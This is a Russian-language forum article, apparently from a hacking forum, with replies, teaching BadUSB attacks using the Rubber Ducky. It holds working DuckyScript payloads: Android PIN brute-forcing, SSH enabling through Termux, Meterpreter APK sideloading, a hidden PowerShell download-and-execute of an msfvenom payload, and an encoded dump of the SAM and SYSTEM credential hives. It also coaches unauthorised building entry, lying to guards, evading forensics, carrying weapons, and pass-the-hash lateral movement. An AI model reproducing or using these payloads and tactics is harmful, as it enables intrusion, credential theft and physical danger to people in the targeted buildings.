Атаки будем проводить на ОС Android и IOS.

При пентесте , получение доступа к этим устройствам есть тоже очень важным этапом (особенно при физическом пентесте)

Самые популярные векторы атак на операционные системы Windows/Linux с помощью Rubber Ducky:

Открытие веб-сайтов – вставив флешку в устройство , и оно через браузер по умолчанию переходит на прописанную вами в скрипт ссылку.​
Работает как и на IOS так и на Android.​
Открытие SSH службы – используя инструмент Termux , Rubber Ducky устанавливает и запускает службу SSH , с вашими кредами.​
Работает на Android , если на устройстве установлен Termux.​
Bruteforse ПИН-кода (4 числа) – используя виртуальную клавиатуру , устройство подбирает ПИН-код из 4 цифр.​
Работает на Android.​
Установка мальваря на Android устройство – с помощью браузера , уточка устанавливает ваш apk файл и запускает его.​
Работает на Android.​



Открытие веб-сайтов

Android:

Код:
REM Title: Android Browse to URL Example

REM Author: Hak5Darren

REM Desscription: Opens browser. Navigates to URL.

REM Target: "most" Android devices (compatibility varies by vendor implementation)

REM DuckyScript: 3.0

ATTACKMODE HID STORAGE

WAIT_FOR_BUTTON_PRESS

REM HID and STORAGE for convenience. Doesn't execute payload until button press.

DEFINE URL hak5.org

REM Change to URL of your choosing.

GUI b

REM Open browser

DELAY 700

CTRL l

REM Select URL bar

DELAY 700

STRINGLN URL

REM inject URL and press ENTER

iPhone:

Код:
GUI h

DELAY 100

GUI SPACE

DELAY 150

BACKSPACE

DELAY 250

STRING Safari

DELAY 100

ENTER

DELAY 500

GUI t

DELAY 250

GUI l

DELAY 100

STRING "HOOK LINK"

DELAY 250

ENTER

GUI t

DELAY 100

STRING www.youtube.com

DELAY 250

ENTER


Открытие SSH службы

Код:
ATTACKMODE HID

DELAY 500

GUI f

DELAY 1000

STRING termux

DELAY 500

TAB

DELAY 100

TAB

DELAY 500

ENTER

DELAY 1500

STRINGLN pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd;

DELAY 20000

STRINGLN NewPasswordHere

DELAY 500

STRINGLN ConfirmPasswordHere

DELAY 500

ALT F4

DELAY 100

ALT F4

DELAY 500

Скрипт используя установленное Программное Обеспечение Termux , скачивает и открывает службу SSH.

Заранее поставьте свой пароль , прописав его в скрипте.



Bruteforse ПИН-кода (4 числа)
ATTACKMODE HID

REM TITLE: Brute Force

REM AUTHOR: Cribbit

REM DESCRIPTION: Updated Version of Hak5 episode 1217.1

REM VID URL:

REM NOTE: This is 10 year old so will not work with modern android

REM PROPS: Hak5Darren

DELAY 3000



EXTENSION TRANSLATE

REM VERSION 1.0



REM This extension acts as a library or collection of helper functions

REM to work with converting variables in your payloads.

REM WHY:

REM Of the many ways to get information about the state of your payload

REM is by injecting static strings effectively as debugging prints

REM However, given the non-static nature of payloads using variables in

REM DuckyScript 3.0 - the ability to decode variables during payload

REM execution and print (inject) representations of their current state

REM can often be a critically helpful development and debugging tool.



REM Available Functions:

REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call

REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call

REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call

REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call



REM USAGE:

REM set $INPUT to desired var

REM call the correct translate_ function for the expected data type e.g.

REM VAR $myVar = 1234

REM $INPUT = $myVar

REM TRANSLATE_INT()

REM REM the above code will inject 1234



REM begin extension variables

DEFINE PRINT_INT 0

DEFINE PRINT_HEX 1

VAR $DIGIT_PRINT_MODE = PRINT_INT

VAR $D = 0

VAR $IN = 0

VAR $INPUT = 0

VAR $MOD = 0

VAR $P = FALSE

VAR $NL = TRUE

REM end extension variables



REM REQUIRED for INT/HEX - convert int to char

FUNCTION PRINTDIGIT()

IF ($D == 0) THEN

STRING 0

ELSE IF ($D == 1) THEN

STRING 1

ELSE IF ($D == 2) THEN

STRING 2

ELSE IF ($D == 3) THEN

STRING 3

ELSE IF ($D == 4) THEN

STRING 4

ELSE IF ($D == 5) THEN

STRING 5

ELSE IF ($D == 6) THEN

STRING 6

ELSE IF ($D == 7) THEN

STRING 7

ELSE IF ($D == 8) THEN

STRING 8

ELSE IF ($D == 9) THEN

STRING 9

ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN

IF ($D == 10) THEN

STRING A

ELSE IF ($D == 11) THEN

STRING B

ELSE IF ($D == 12) THEN

STRING C

ELSE IF ($D == 13) THEN

STRING D

ELSE IF ($D == 14) THEN

STRING E

ELSE IF ($D == 15) THEN

STRING F

END_IF

ELSE

STRING ?

END_IF

END_FUNCTION



REM REQUIRED for INT/HEX- consumes a character / place from the input

FUNCTION CONSUME()

$D = 0

WHILE ($INPUT >= $MOD)

$D = ($D + 1)

$INPUT = ($INPUT - $MOD)

END_WHILE

IF (($D > 0) || ($P == TRUE)) THEN

$P = TRUE

PRINTDIGIT()

END_IF

END_FUNCTION



REM ENDIAN SWAPPER helper, (useful for working with VID/PID)

FUNCTION SWAP_ENDIAN()

$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a DECIMAL string representation

FUNCTION TRANSLATE_INT()

$DIGIT_PRINT_MODE = PRINT_INT

$P = FALSE

IF ( $INPUT >= 10000) THEN

$MOD = 10000

CONSUME()

END_IF

IF (($INPUT >= 1000) || ($P == TRUE)) THEN

$MOD = 1000

CONSUME()

END_IF

IF (($INPUT >= 100) || ($P == TRUE)) THEN

$MOD = 100

CONSUME()

END_IF

IF (($INPUT >= 10) || ($P == TRUE)) THEN

$MOD = 10

CONSUME()

END_IF()

$D = $INPUT

PRINTDIGIT()

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed boolean type and attempts to convert

REM and inject a BOOLEAN string representation

FUNCTION TRANSLATE_BOOL()

IF $INPUT THEN

STRING TRUE

ELSE

STRING FALSE

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a HEX string representation

FUNCTION TRANSLATE_HEX()

$DIGIT_PRINT_MODE = PRINT_HEX

VAR $chars = 0

VAR $d1 = 0

VAR $d2 = 0

VAR $d3 = 0

VAR $d4 = 0

WHILE ($INPUT > 0)

IF ($chars == 0) THEN

$d1 = ($INPUT % 16)

ELSE IF ($chars == 1) THEN

$d2 = ($INPUT % 16)

ELSE IF ($chars == 2) THEN

$d3 = ($INPUT % 16)

ELSE IF ($chars == 3) THEN

$d4 = ($INPUT % 16)

END_IF

$chars = ($chars + 1)

$INPUT = ($INPUT / 16)

END_WHILE

VAR $i = 0

STRING 0x

IF ($chars == 0) THEN

STRING 0x0000

ELSE IF ($chars == 1) THEN

STRING 000

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 2) THEN

STRING 00

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 3) THEN

STRING 0

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 4) THEN

STRING 0

$D = $d4

PRINTDIGIT()

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a BINARY string representation

FUNCTION TRANSLATE_BINARY()

VAR $I = 16

WHILE ( $I > 0 )

$I = ($I - 1)

IF (($INPUT & 0x8000) == 0 ) THEN

STRING 0

ELSE

STRING 1

END_IF

$INPUT = ($INPUT << 1)

END_WHILE

IF $NL THEN

ENTER

END_IF

END_FUNCTION

END_EXTENSION



REM Turn off TRANSLATE newline

$NL = FALSE

VAR $Frist = 0

VAR $Second = 0

VAR $Third = 0

VAR $Forth = 0

VAR $WaitTime = 30000

VAR $WaitStep = 5000

VAR $WaitDiff = 0

VAR $Cnt = 0



WHILE ($Frist < 10)

$Second = 0

WHILE ($Second < 10)

$Third = 0

WHILE ($Third < 10)

$Forth = 0

WHILE ($Forth < 10)

$INPUT = $Frist

TRANSLATE_INT()

$INPUT = $Second

TRANSLATE_INT()

$INPUT = $Third

TRANSLATE_INT()

$INPUT = $Forth

TRANSLATE_INT()

$Forth = ($Forth + 1)

DELAY 1000

ENTER

ENTER

$Cnt = ($Cnt + 1)

IF ($Cnt == 5) THEN

$Cnt = 0

WHILE ($WaitDiff < $WaitTime)

DELAY $WaitStep

ENTER

$WaitDiff = ($WaitDiff + $WaitStep)

END_WHILE

$WaitDiff = 0

END_IF

END_WHILE

$Third = ($Third + 1)

END_WHILE

$Second = ($Second + 1)

END_WHILE

$Frist = ($Frist + 1)

END_WHILE



Установка мальваря на Android устройство
REM # -----------------------------------------------------------

REM # Title: OMG Android Meterpreter

REM # Description: Download and install an APK on Android

REM # Author: int0x80

REM # Target: Android 11

REM # Notes: Set URL for APK payload below

REM # -----------------------------------------------------------

REM # -----------------------------------------------------------

REM # Launch browser to APK destination

REM # -----------------------------------------------------------

GUI b

DELAY 1000

CTRL l

DELAY 50

STRING https://x.x.x.x/your-app.apk

DELAY 50

ENTER

DELAY 2000

REM # -----------------------------------------------------------

REM # Move focus to 'Open' link

REM # -----------------------------------------------------------

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

RIGHT

DELAY 50

ENTER

DELAY 500

REM # -----------------------------------------------------------

REM # Select Chrome as approved source to install apps

REM # -----------------------------------------------------------

ENTER

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

REM # -----------------------------------------------------------

REM # Finish approved source

REM # GUI DELETE might work here

REM # -----------------------------------------------------------

GUI TAB

DELAY 50

ENTER

DELAY 50

REM # -----------------------------------------------------------

REM # Scanning and Play Store warnings

REM # Install, Install Anyway, Don't send for scanning, Open

REM # -----------------------------------------------------------

RIGHT

DELAY 50

ENTER

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

ENTER

DELAY 50

ENTER

DELAY 250

REM # -----------------------------------------------------------

REM # Accept access settings and Continue

REM # -----------------------------------------------------------

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

TAB

DELAY 50

ENTER

DELAY 250

REM # -----------------------------------------------------------

REM # Get shell and obligatory calc

REM # -----------------------------------------------------------

ENTER

DELAY 250

GUI a




Атаки на роутеры

Говорю сразу , прямого мануала по эксплуатации не будет , так как точно сам не знаю можно ли для этого юзать именно Rubber Ducky.

Но хочу вас познакомить с этой очень малоизвестной темой об которой почти нигде не говорят.

Как работает атака?
В некоторых роутерах есть USB порт , сделанный он зачастую для подключения принтера или перепрошивки.
Используя такой инструмент как P4wnP1 мы можем провернуть несколько видов атак.

Mikrotik_Mitm - Эта атака приводит к перенаправлению всего интернет-трафика на Raspberry Pi, подключенный к USB-порту. Затем Pi перенаправляет весь интернет-трафик на удаленный VPN-сервер.​
Различные производители маршрутизаторов (такие как Netgear, Linksys и TP-Link) поддерживают возможность использования принтеров совместно. Это достигается путем подключения USB-принтера к маршрутизатору и установки клиентского программного обеспечения на ваш хост в локальной сети. Таким образом, ваш хост может общаться с принтером через маршрутизатор.​
Однако я обнаружил, что программное обеспечение маршрутизатора/клиента фактически взаимодействует с любым USB-устройством, а не только с принтерами, как предполагалось производителями.​
Таким образом, злоумышленник может использовать любую полезную нагрузку, предоставляемую P4wnP1​
некоторые роутеры принимают устройство за USB а некоторые за ethernet адаптер.


Атаки на устройства с поддержкой физической клавиатуры
По сути , если устройство имеет функцию ввода информации с пк , то в 99% случаев оно может быть уязвимым к атаке Badusb.
Зная OC атакуемой системы и понимать что можно вводить с клавиатуры , а что нет. Можно запрограмировать скрипт на языке програмvирования duckyscript и автоматизировано провести атаку.

Атаки можно проводить на таких системах как:
  1. Встроенные системы: Устройства Интернета вещей (IoT), системы умного дома и другие встроенные системы могут также подвергаться BadUSB-атакам. Злоумышленники могут использовать уязвимости в USB-интерфейсах этих систем для установки вредоносного ПО, получения несанкционированного доступа или нарушения приватности.
  2. Аудио/видеоустройства: USB-устройства, такие как веб-камеры, микрофоны, наушники и другие аудио/видеоустройства, также могут быть использованы в BadUSB-атаках. Злоумышленник может использовать эти устройства для незаметного перехвата аудио/видео-данных или для внедрения вредоносного кода.
  3. Принтеры и сканеры: USB-принтеры и сканеры могут быть целью атак для распространения вредоносного программного обеспечения или злоупотребления привилегиями доступа.
В целом, любое USB-устройство, которое взаимодействует с компьютером или другой системой через USB-порт, может быть потенциальной целью BadUSB-атаки.


Проводим пентест/физический пентест с помощью Rubber Ducky
Настройка Rubber Ducky для атаки
Начнем! перед атакой нам как всегда нужно собрать информацию об цели.
Наша цель - это корпоративная локальная сеть , в этапе пентеста Information Gathering , мы должны узнать масштабы сети и ОС систем , которые мы будем атаковать.
Юзать мы будем знания физического пентеста и знания использования Rubber Ducky,

Припустим что все системы которые мы будем атаковать - системы под управлением ОС Windows и Android.
Значит и скрипты мы будем выбирать для атак на Windows и Android.

Выбор скриптов для атак:
Теперь подумаем что мы будем использовать , в идеале нам понадобилось бы 2-3 Rubber Ducky (одна Rubber Ducky - один скрипт), но как так у нас нету таких денег мы будем использовать одну уточку.

Делаем 3 скрипта , берем 3 Micro SD карты и на каждую заливаем по одному скрипту. Далее смотря на ситуацию выбираем карту со скриптом который нам нужен.

1.Получение доступа к Android устройству
На некоторых девайсах могут быть пароли , чтобы их обойти мы будем использовать брутфорс.​
ATTACKMODE HID

REM TITLE: Brute Force

REM AUTHOR: Cribbit

REM DESCRIPTION: Updated Version of Hak5 episode 1217.1

REM VID URL:

REM NOTE: This is 10 year old so will not work with modern android

REM PROPS: Hak5Darren

DELAY 3000



EXTENSION TRANSLATE

REM VERSION 1.0



REM This extension acts as a library or collection of helper functions

REM to work with converting variables in your payloads.

REM WHY:

REM Of the many ways to get information about the state of your payload

REM is by injecting static strings effectively as debugging prints

REM However, given the non-static nature of payloads using variables in

REM DuckyScript 3.0 - the ability to decode variables during payload

REM execution and print (inject) representations of their current state

REM can often be a critically helpful development and debugging tool.



REM Available Functions:

REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call

REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call

REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call

REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call



REM USAGE:

REM set $INPUT to desired var

REM call the correct translate_ function for the expected data type e.g.

REM VAR $myVar = 1234

REM $INPUT = $myVar

REM TRANSLATE_INT()

REM REM the above code will inject 1234



REM begin extension variables

DEFINE PRINT_INT 0

DEFINE PRINT_HEX 1

VAR $DIGIT_PRINT_MODE = PRINT_INT

VAR $D = 0

VAR $IN = 0

VAR $INPUT = 0

VAR $MOD = 0

VAR $P = FALSE

VAR $NL = TRUE

REM end extension variables



REM REQUIRED for INT/HEX - convert int to char

FUNCTION PRINTDIGIT()

IF ($D == 0) THEN

STRING 0

ELSE IF ($D == 1) THEN

STRING 1

ELSE IF ($D == 2) THEN

STRING 2

ELSE IF ($D == 3) THEN

STRING 3

ELSE IF ($D == 4) THEN

STRING 4

ELSE IF ($D == 5) THEN

STRING 5

ELSE IF ($D == 6) THEN

STRING 6

ELSE IF ($D == 7) THEN

STRING 7

ELSE IF ($D == 8) THEN

STRING 8

ELSE IF ($D == 9) THEN

STRING 9

ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN

IF ($D == 10) THEN

STRING A

ELSE IF ($D == 11) THEN

STRING B

ELSE IF ($D == 12) THEN

STRING C

ELSE IF ($D == 13) THEN

STRING D

ELSE IF ($D == 14) THEN

STRING E

ELSE IF ($D == 15) THEN

STRING F

END_IF

ELSE

STRING ?

END_IF

END_FUNCTION



REM REQUIRED for INT/HEX- consumes a character / place from the input

FUNCTION CONSUME()

$D = 0

WHILE ($INPUT >= $MOD)

$D = ($D + 1)

$INPUT = ($INPUT - $MOD)

END_WHILE

IF (($D > 0) || ($P == TRUE)) THEN

$P = TRUE

PRINTDIGIT()

END_IF

END_FUNCTION



REM ENDIAN SWAPPER helper, (useful for working with VID/PID)

FUNCTION SWAP_ENDIAN()

$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a DECIMAL string representation

FUNCTION TRANSLATE_INT()

$DIGIT_PRINT_MODE = PRINT_INT

$P = FALSE

IF ( $INPUT >= 10000) THEN

$MOD = 10000

CONSUME()

END_IF

IF (($INPUT >= 1000) || ($P == TRUE)) THEN

$MOD = 1000

CONSUME()

END_IF

IF (($INPUT >= 100) || ($P == TRUE)) THEN

$MOD = 100

CONSUME()

END_IF

IF (($INPUT >= 10) || ($P == TRUE)) THEN

$MOD = 10

CONSUME()

END_IF()

$D = $INPUT

PRINTDIGIT()

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed boolean type and attempts to convert

REM and inject a BOOLEAN string representation

FUNCTION TRANSLATE_BOOL()

IF $INPUT THEN

STRING TRUE

ELSE

STRING FALSE

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a HEX string representation

FUNCTION TRANSLATE_HEX()

$DIGIT_PRINT_MODE = PRINT_HEX

VAR $chars = 0

VAR $d1 = 0

VAR $d2 = 0

VAR $d3 = 0

VAR $d4 = 0

WHILE ($INPUT > 0)

IF ($chars == 0) THEN

$d1 = ($INPUT % 16)

ELSE IF ($chars == 1) THEN

$d2 = ($INPUT % 16)

ELSE IF ($chars == 2) THEN

$d3 = ($INPUT % 16)

ELSE IF ($chars == 3) THEN

$d4 = ($INPUT % 16)

END_IF

$chars = ($chars + 1)

$INPUT = ($INPUT / 16)

END_WHILE

VAR $i = 0

STRING 0x

IF ($chars == 0) THEN

STRING 0x0000

ELSE IF ($chars == 1) THEN

STRING 000

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 2) THEN

STRING 00

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 3) THEN

STRING 0

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

ELSE IF ($chars == 4) THEN

STRING 0

$D = $d4

PRINTDIGIT()

$D = $d3

PRINTDIGIT()

$D = $d2

PRINTDIGIT()

$D = $d1

PRINTDIGIT()

END_IF

IF $NL THEN

ENTER

END_IF

END_FUNCTION



REM Translates a variable of presumed integer type and attempts to convert

REM and inject a BINARY string representation

FUNCTION TRANSLATE_BINARY()

VAR $I = 16

WHILE ( $I > 0 )

$I = ($I - 1)

IF (($INPUT & 0x8000) == 0 ) THEN

STRING 0

ELSE

STRING 1

END_IF

$INPUT = ($INPUT << 1)

END_WHILE

IF $NL THEN

ENTER

END_IF

END_FUNCTION

END_EXTENSION



REM Turn off TRANSLATE newline

$NL = FALSE

VAR $Frist = 0

VAR $Second = 0

VAR $Third = 0

VAR $Forth = 0

VAR $WaitTime = 30000

VAR $WaitStep = 5000

VAR $WaitDiff = 0

VAR $Cnt = 0



WHILE ($Frist < 10)

$Second = 0

WHILE ($Second < 10)

$Third = 0

WHILE ($Third < 10)

$Forth = 0

WHILE ($Forth < 10)

$INPUT = $Frist

TRANSLATE_INT()

$INPUT = $Second

TRANSLATE_INT()

$INPUT = $Third

TRANSLATE_INT()

$INPUT = $Forth

TRANSLATE_INT()

$Forth = ($Forth + 1)

DELAY 1000

ENTER

ENTER

$Cnt = ($Cnt + 1)

IF ($Cnt == 5) THEN

$Cnt = 0

WHILE ($WaitDiff < $WaitTime)

DELAY $WaitStep

ENTER

$WaitDiff = ($WaitDiff + $WaitStep)

END_WHILE

$WaitDiff = 0

END_IF

END_WHILE

$Third = ($Third + 1)

END_WHILE

$Second = ($Second + 1)

END_WHILE

$Frist = ($Frist + 1)

END_WHILE

2.Установка и запуск файла в скрытом режиме.
один из основных векторов атак , в качестве файла мы будем использовать payload.exe созданный инструментом msfvenom.
GUI r

DELAY 500

STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\")

3.Дамп учетных данных системы и хэшей администратора.
Это нам поможет в будущем...
DELAY 500

ATTACKMODE HID STORAGE

DELAY 1000

GUI r

DELAY 1000

STRING powershell Start-Process powershell -Verb runAs

DELAY 1000

CTRL-SHIFT ENTER

DELAY 1000

DELAY 1000

STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=

DELAY 500

STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit[/CODE]
Теперь с готовыми скриптами можем идти в здание с нашей сеткой...

Атака на корпоративную сеть с помощью Rubber Ducky

Подготовка

Если здание как то связано с офисами и бизнесом , тогда выбираем из одежды более менее адекватные шмотки.
У меня это была рубашка и брюки.
Чтобы избежать неприятных ситуаций или физических конфликтов - берем с собой хоть что для самозащиты (Перцовый спрей , пневматический пистолет).
Ботинки берем одноразовые , так как в случае криминалистики , вас могут найти по подошве , одежду также советую брать одноразовую.

Берем рюкзак , а лучше деловую сумку , там будем держать свой арсенал пентестера.
-ноутбук
-сама Rubber Ducky (одна или несколько)
-Micro SD карты со скриптами
-хоть что то для самозащиты

1683737502817.png

(Я ни в коем случае никого не призываю к насильственным действиям только самооборона в крайнем случае , причинение боли и убийство это грех и очень плохо!)

Входим в здание
Проходим либо через главный ход , либо через черный вход/окно.
Помним что охрана на входе может нас проверить , так что лучше идти через черный вход или окно.
Если мы уж пошли в стороны охраны , в случае проверки говорим что забыли идентификатор работника , на 60% такая тактика проносит)
после того как прошли все этапы защиты , закрепляемся чтобы изучить карту здания.

Ищем цели
Изучив здание , займемся поиском устройств которые будем атаковать.
Помним что возле наших целей не должно быть будущих свидетелей атаки.
Если люди есть - ждем пока уйдут , если не ушли - атакуйте на свой страх и риск.

Проводим атаку
Теперь если в горизонте видения нет никого из будущих свидетелей атаки , подходим к атакуемой системе и ловким махом руки вставляем уточку в USB порт.
Стараемся не палится и работать только рукой.
Помним что язык ввода на устройстве обязательно должен быть английским , иначе
Ждем пока скрипт выполнится до конца , атака в среднем может занять от 5 до 20 секунд.
Когда мы закончили со всеми устройствами , чистим следы

Убегаем
Теперь ибо спокойно уходим выполнив миссию , либо убегаем со всех ног)
Не забываем замести следы , например открытое окно powershell на компе , или телефон который мы поставили не на то место , где он стоял.

Неожиданные моменты и как их избежать
Если нас спалили и заметили - убегаем , но стараемся не наделать шуму.
Если против нас используют оружие , помним что у нас лежит в рюкзаке , но я советую использовать это только в крайнем случае , так как можно заработать срок или не дай бог убить человека.



Захват сети
Теперь имея доступ к устройствам в сети и имея такие данные как хэши паролей администраторов мы будем использовать тактики постэксплуатции и тактики pivoting-a для закрепления в сети.
Pivoting в пентесте относится к технике, которая позволяет пентестеру расширить свою атакующую поверхность, перемещаясь с одной скомпрометированной системы на другую внутри целевой сети.
Эта техника имеет значение, когда система, скомпрометированная в рамках пентеста, не является конечной целью, а служит мостом для достижения более защищенных или ценных целей внутри сети.
Мы будем закреплятся в сети с помощью открытия скрытого впн сервера на одном из зараженных устройств.
использовать будем этот инструмент:

Для захвата остальных тачек под виндой в домене , используем атаку pass the hash.
Мы будем использовать тот хэш - который вытянула уточка , он сохранен на Micro SD карте со скриптом.
Для извлечения хэша из архива который нам выдала уточка , используем инструмент samdump2 DuckySys DuckySam или pypykatz registry DuckySys --sam DuckySam
Готовый хэш используем для pass the hash атаки.
Вот и таким способом мы захватили сетку)


Массовые атаки
Одним из видов такой атаки , будет метод "бросания флешки".

Метод бросания флешки в BadUSB атаках является одним из способов физической эксплуатации уязвимостей системы и внедрения вредоносного программного обеспечения с помощью злоумышленной USB-флешки.

Суть этого метода заключается в том, что злоумышленник подготавливает USB-устройство, внешне похожее на обычную флешку\. Затем флешка намеренно оставляется или бросается вблизи места, где целевая жертва может ее обнаружить, такого как парковка, столовая или офисный коридор.

Если жертва обнаруживает флешку и решает подключить ее к своему компьютеру, вредоносный код на флешке автоматически запускается и начинает выполнение своих задач.

Основные шаги, выполняемые в ходе бросания флешки в BadUSB атаках, включают:

  1. Подготовка вредоносной флешки: Злоумышленник настраивает флешку таким образом, чтобы она имела автозапуск и содержала вредоносный код, который будет выполнен при подключении к целевой системе.
  2. Бросок флешки: Флешка оставляется или бросается в месте, где она может быть обнаружена целевой жертвой.
  3. Обнаружение и подключение: Жертва обнаруживает флешку и решает подключить ее к своему компьютеру, веря, что это обычное USB-устройство.
  4. Запуск вредоносного кода: При подключении флешки к компьютеру вредоносный код на флешке автоматически запускается и начинает свою работу.

Такая атака базирована на человеческом любопытстве и социальной инженерии.





Итоги
Вот мы и закончили изучать Rubber Ducky , спустя 48 часов без сна я закончил это)
Надеюсь мой дорогой друг что я тебе хоть как то помог и научил чему-то новому.
Знаю что напоследок очень много екшена) но и такое бывает при физическому пентесте)
Немного материала для изучения:

А с вами как всегда был маленький Gufi!
До встреч в новых статьях!


Автор: Gufi
Сделано специально для xss.pro !
 
Последнее редактирование:
Достойно, но по идее с флешкой локально при атаке на винду АВ должен что-то почуять.
Автор, вы лично тестили свою флешку против дефендера того же ? Или новых андроидов ?
Также код в PS исполняется заметно для глаз я так понимаю, верно ?
 
Достойно, но по идее с флешкой локально при атаке на винду АВ должен что-то почуять.
Автор, вы лично тестили свою флешку против дефендера того же ? Или новых андроидов ?
Также код в PS исполняется заметно для глаз я так понимаю, верно ?
Дефендеру вообще все ровно, так само как и мобильникам , я что то читал что в новых ревизиях добавили функцию обхода АВ , но сам непонимаю зачем ее)


Ну и да , на екране в любом случае будет что то происходить , например вылезет и закроется окошко «выполнить» , но это можно минимизировать , запуская команды в cmd/powershell через тихий режим.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в новых ревизиях добавили функцию обхода АВ , но сам непонимаю зачем ее)

чтобы поставить малварь и закрепиться в системе
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это защита от работы по ру!
Да хоть FR, это просто пример, я обломился добавлять раскладку ради скрина.
 
некоторые роутеры принимают устройство за USB а некоторые за ethernet адаптер.
гораздо интереснее то, что некоторые компьютеры принимают устройство за ethernet адаптер, и зачем-то отдают этому устройству NTLM хэши :D

вот тебе тема для следующей статьи: https://github.com/lgandx/Responder
пример использования тут: https://malicious.link/post/2016/snagging-creds-from-locked-machines/
лично использовал responder с USB Armory, но ты как фанат Hak5 можешь воспользоваться Hak5 Turtle :)
 
А что если мы не в пендосии и у нас например так?
Посмотреть вложение 56770

Будет "Руддщ цщкдв!" ?
Привет , ну это один из минусов бедюсб атак , помним что перед атакой можно сделать ctrl - shift))
 
гораздо интереснее то, что некоторые компьютеры принимают устройство за ethernet адаптер, и зачем-то отдают этому устройству NTLM хэши :D

вот тебе тема для следующей статьи: https://github.com/lgandx/Responder
пример использования тут: https://malicious.link/post/2016/snagging-creds-from-locked-machines/
лично использовал responder с USB Armory, но ты как фанат Hak5 можешь воспользоваться Hak5 Turtle :)
Ага! Спасибо за идейку бро , не думаю что саму rubber ducky можно показать пк как ethernet адаптер , но с P4wnP1 это можно сделать)
 
Привет , ну это один из минусов бедюсб атак , помним что перед атакой можно сделать ctrl - shift))
Привет. Хорошо, другая ситуевина, в момент атаки вот так:
ru2.png

Мм?

Ладно, не важно, проблема есть как и ее решение. Подумал вдруг ты уже сталкивался.. Похоже пора дополнить твои статьи еще одной с обходом этой беды.
 
Последнее редактирование:
Привет. Хорошо, другая ситуевина, в момент атаки вот так:
Посмотреть вложение 56782
Мм?

Ладно, не важно, проблема есть как и ее решение. Подумал вдруг ты уже сталкивался.. Похоже пора дополнить твои статьи еще одной с обходом этой беды.
Можно реализовать с помощью скрипта Powershell, получаем список языков раскладки, если не установлен, то добавляем необходимый, далее создаем переменную со значением, переключаем раскладку:

Код:
$list = Get-WinUserLanguageList
$list.Add("en-US")
Set-WinUserLanguageList -LanguageList $list -Force

Удаляем более ненужную раскладку:
Код:
$list = (Get-WinUserLanguageList).where{$_.LanguageTag -ne "en"}
Set-WinUserLanguageList -LanguageList $list -Force



Но как вот этот скрипт запустить на атакуемой машине - незнаю))
 
Но как вот этот скрипт запустить на атакуемой машине - незнаю))
